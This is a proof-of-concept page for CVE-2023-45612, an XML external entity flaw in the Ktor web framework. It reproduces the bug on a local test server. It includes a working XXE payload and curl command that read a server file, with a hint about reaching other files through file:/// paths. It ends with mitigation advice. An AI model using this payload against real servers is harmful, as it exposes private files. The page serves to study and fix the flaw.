POC详情: d95c3a4a0b5cb5f299b337992111a797b8c809e1

来源
关联漏洞
标题: JetBrains Ktor 代码问题漏洞 (CVE-2023-45612)
描述:JetBrains Ktor framework是捷克JetBrains公司的一款Web应用程序框架。 JetBrains Ktor 2.3.5之前版本存在代码问题漏洞,该漏洞源于ContentNegotiation默认配置存在XML外部实体注入(XXE)漏洞。
描述
Reproduction of a high severty security problem that allows XXE (XML eXternal Entity) attacks on Ktor's XML serialization.
介绍
# cve-2023-45612_exploit
CVE-2023-45612 is a high severty security probem that allows XXE (XML eXternal Entity) attacks on Ktor's XML serialization that has been patched in 2023.

## Reproduction of the security problem
Below is a detailed way of how I reproduced the problem.

### IntelliJ IDEA project
First, we need a server that is going to process the XML files. We create a Kotlin project from IntelliJ IDEA and modify the build.gradle.kts in order to use the Ktor dependencies we need and the serialization plugin.
io.ktor:ktor-serialization-kotlinx-xml is the dependency that interests us. The version 2.3.4 is the vulnerable one, and the version 2.3.5 is the patched one.

### Secret file
Then, we add at the root of the project a file named sensitive_infos.txt that is destinated to be private and not accessible from outside of the server. The content of this file is "This informations should be secret and not accessible by sending a .xmf file.".

### Server
Then, we implement the server in Main.kt. It is designed to process the XML sent by the client by serializing it into a String (name) of the class Person. Then the server answers confirming the name the client just sent. After starting the server, we can try the normal and the malicious use:

#### Normal use
The client sends a XML file with its name and receives a confirmation with the name it just sent. We can test this with the following XML file:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<manifest xmlns="http://example.com/">
     <name>Clément</name>
</manifest>
```
and the command:
```bash
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @data.xml
```

#### Malicious use
The client defines an entity by providing a substitution String in the form of  URI and sends the malicious XML file, then receives the content of a secret file accessible by the server. I show below an example with a file (sensitive_infos.txt) that is at the root of the server, but note that you could also possibly reach other files (if the XML parser can access their content) with for example file:/// if the server runs on linux.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY exploit SYSTEM "sensitive_infos.txt">
]>
<manifest xmlns="http://example.com/">
     <name>&exploit;</name>
</manifest>
```

and the command
```bash
curl -X POST http://localhost:8080/process -H "Content-Type: application/xml" -d @xxe.xml
```
The server answers with "Name sent: This informations should be secret and not accessible by sending a .xmf file.", wich proves that we indeed accessed the secret informations and so that there is a vulnerability.

By the way, changing the version from 2.3.4 to 2.3.5 in the build.gradle.kts resolves the problem and the server is only answering "Name sent" for the malicious input, while conserving a normal answer for the normal input, wich confirms us that the security problem has been resolved in 2.3.5.

## Guidelines which would help developers prevent similar issues further
### Sanitization
Never trust the user ! Ktor paser could sanitize inputs by for example discarding all XML input files that contain an entity.
### Disable external entities
Less restrictive for the user, Ktor could disable external entities by default by setting external-general-entities and external-parameter-entities features to false, so that the user can still declare an entity in his XML file, but this entity cannot access any external resource anymore.
### Testing
Include XXE attack tests in Ktor's CI/CD in order to be sure that the code isn't vulnerable to them.
文件快照

[4.0K] /data/pocs/d95c3a4a0b5cb5f299b337992111a797b8c809e1 ├── [3.5K] README.md ├── [4.0K] server │   ├── [4.0K] build │   │   ├── [4.0K] classes │   │   │   └── [4.0K] kotlin │   │   │   └── [4.0K] main │   │   │   └── [4.0K] META-INF │   │   │   └── [ 54] server.kotlin_module │   │   └── [4.0K] kotlin │   │   └── [4.0K] compileKotlin │   │   ├── [4.0K] cacheable │   │   │   ├── [4.0K] caches-jvm │   │   │   │   ├── [4.0K] inputs │   │   │   │   │   ├── [4.0K] source-to-output.tab │   │   │   │   │   ├── [ 32K] source-to-output.tab_i │   │   │   │   │   ├── [ 8] source-to-output.tab_i.len │   │   │   │   │   ├── [4.0K] source-to-output.tab.keystream │   │   │   │   │   ├── [ 8] source-to-output.tab.keystream.len │   │   │   │   │   ├── [ 8] source-to-output.tab.len │   │   │   │   │   └── [1.0K] source-to-output.tab.values.at │   │   │   │   ├── [4.0K] jvm │   │   │   │   │   └── [4.0K] kotlin │   │   │   │   │   ├── [4.0K] class-attributes.tab │   │   │   │   │   ├── [ 32K] class-attributes.tab_i │   │   │   │   │   ├── [ 8] class-attributes.tab_i.len │   │   │   │   │   ├── [4.0K] class-attributes.tab.keystream │   │   │   │   │   ├── [ 8] class-attributes.tab.keystream.len │   │   │   │   │   ├── [ 8] class-attributes.tab.len │   │   │   │   │   ├── [ 58] class-attributes.tab.values.at │   │   │   │   │   ├── [4.0K] class-fq-name-to-source.tab │   │   │   │   │   ├── [ 32K] class-fq-name-to-source.tab_i │   │   │   │   │   ├── [ 8] class-fq-name-to-source.tab_i.len │   │   │   │   │   ├── [4.0K] class-fq-name-to-source.tab.keystream │   │   │   │   │   ├── [ 8] class-fq-name-to-source.tab.keystream.len │   │   │   │   │   ├── [ 8] class-fq-name-to-source.tab.len │   │   │   │   │   ├── [ 169] class-fq-name-to-source.tab.values.at │   │   │   │   │   ├── [4.0K] internal-name-to-source.tab │   │   │   │   │   ├── [ 32K] internal-name-to-source.tab_i │   │   │   │   │   ├── [ 8] internal-name-to-source.tab_i.len │   │   │   │   │   ├── [4.0K] internal-name-to-source.tab.keystream │   │   │   │   │   ├── [ 8] internal-name-to-source.tab.keystream.len │   │   │   │   │   ├── [ 8] internal-name-to-source.tab.len │   │   │   │   │   ├── [ 449] internal-name-to-source.tab.values.at │   │   │   │   │   ├── [4.0K] package-parts.tab │   │   │   │   │   ├── [ 32K] package-parts.tab_i │   │   │   │   │   ├── [ 8] package-parts.tab_i.len │   │   │   │   │   ├── [4.0K] package-parts.tab.keystream │   │   │   │   │   ├── [ 8] package-parts.tab.keystream.len │   │   │   │   │   ├── [ 8] package-parts.tab.len │   │   │   │   │   ├── [ 52] package-parts.tab.values.at │   │   │   │   │   ├── [4.0K] proto.tab │   │   │   │   │   ├── [ 32K] proto.tab_i │   │   │   │   │   ├── [ 8] proto.tab_i.len │   │   │   │   │   ├── [4.0K] proto.tab.keystream │   │   │   │   │   ├── [ 8] proto.tab.keystream.len │   │   │   │   │   ├── [ 8] proto.tab.len │   │   │   │   │   ├── [1.8K] proto.tab.values.at │   │   │   │   │   ├── [4.0K] source-to-classes.tab │   │   │   │   │   ├── [ 32K] source-to-classes.tab_i │   │   │   │   │   ├── [ 8] source-to-classes.tab_i.len │   │   │   │   │   ├── [4.0K] source-to-classes.tab.keystream │   │   │   │   │   ├── [ 8] source-to-classes.tab.keystream.len │   │   │   │   │   ├── [ 8] source-to-classes.tab.len │   │   │   │   │   ├── [ 540] source-to-classes.tab.values.at │   │   │   │   │   ├── [4.0K] subtypes.tab │   │   │   │   │   ├── [ 32K] subtypes.tab_i │   │   │   │   │   ├── [ 8] subtypes.tab_i.len │   │   │   │   │   ├── [4.0K] subtypes.tab.keystream │   │   │   │   │   ├── [ 8] subtypes.tab.keystream.len │   │   │   │   │   ├── [ 8] subtypes.tab.len │   │   │   │   │   ├── [ 89] subtypes.tab.values.at │   │   │   │   │   ├── [4.0K] supertypes.tab │   │   │   │   │   ├── [ 32K] supertypes.tab_i │   │   │   │   │   ├── [ 8] supertypes.tab_i.len │   │   │   │   │   ├── [4.0K] supertypes.tab.keystream │   │   │   │   │   ├── [ 8] supertypes.tab.keystream.len │   │   │   │   │   ├── [ 8] supertypes.tab.len │   │   │   │   │   └── [ 102] supertypes.tab.values.at │   │   │   │   └── [4.0K] lookups │   │   │   │   ├── [ 3] counters.tab │   │   │   │   ├── [4.0K] file-to-id.tab │   │   │   │   ├── [ 32K] file-to-id.tab_i │   │   │   │   ├── [ 8] file-to-id.tab_i.len │   │   │   │   ├── [4.0K] file-to-id.tab.keystream │   │   │   │   ├── [ 8] file-to-id.tab.keystream.len │   │   │   │   ├── [ 8] file-to-id.tab.len │   │   │   │   ├── [ 55] file-to-id.tab.values.at │   │   │   │   ├── [4.0K] id-to-file.tab │   │   │   │   ├── [ 8] id-to-file.tab_i.len │   │   │   │   ├── [4.0K] id-to-file.tab.keystream │   │   │   │   ├── [ 8] id-to-file.tab.keystream.len │   │   │   │   ├── [ 8] id-to-file.tab.len │   │   │   │   ├── [ 89] id-to-file.tab.values.at │   │   │   │   ├── [4.0K] lookups.tab │   │   │   │   ├── [ 32K] lookups.tab_i │   │   │   │   ├── [ 8] lookups.tab_i.len │   │   │   │   ├── [ 12K] lookups.tab.keystream │   │   │   │   ├── [ 8] lookups.tab.keystream.len │   │   │   │   ├── [ 8] lookups.tab.len │   │   │   │   └── [1.3K] lookups.tab.values.at │   │   │   └── [ 18] last-build.bin │   │   ├── [4.0K] classpath-snapshot │   │   │   └── [7.3K] shrunk-classpath-snapshot.bin │   │   └── [4.0K] local-state │   │   └── [ 48] build-history.bin │   ├── [ 786] build.gradle.kts │   ├── [4.0K] gradle │   │   └── [4.0K] wrapper │   │   └── [ 201] gradle-wrapper.properties │   ├── [ 27] gradle.properties │   ├── [7.9K] gradlew │   ├── [2.6K] gradlew.bat │   ├── [ 78] sensitive_infos.txt │   ├── [ 30] settings.gradle.kts │   └── [4.0K] src │   └── [4.0K] main │   └── [4.0K] kotlin │   └── [1.1K] Main.kt └── [4.0K] xml_files ├── [ 117] data.xml └── [ 189] xxe.xml 22 directories, 99 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。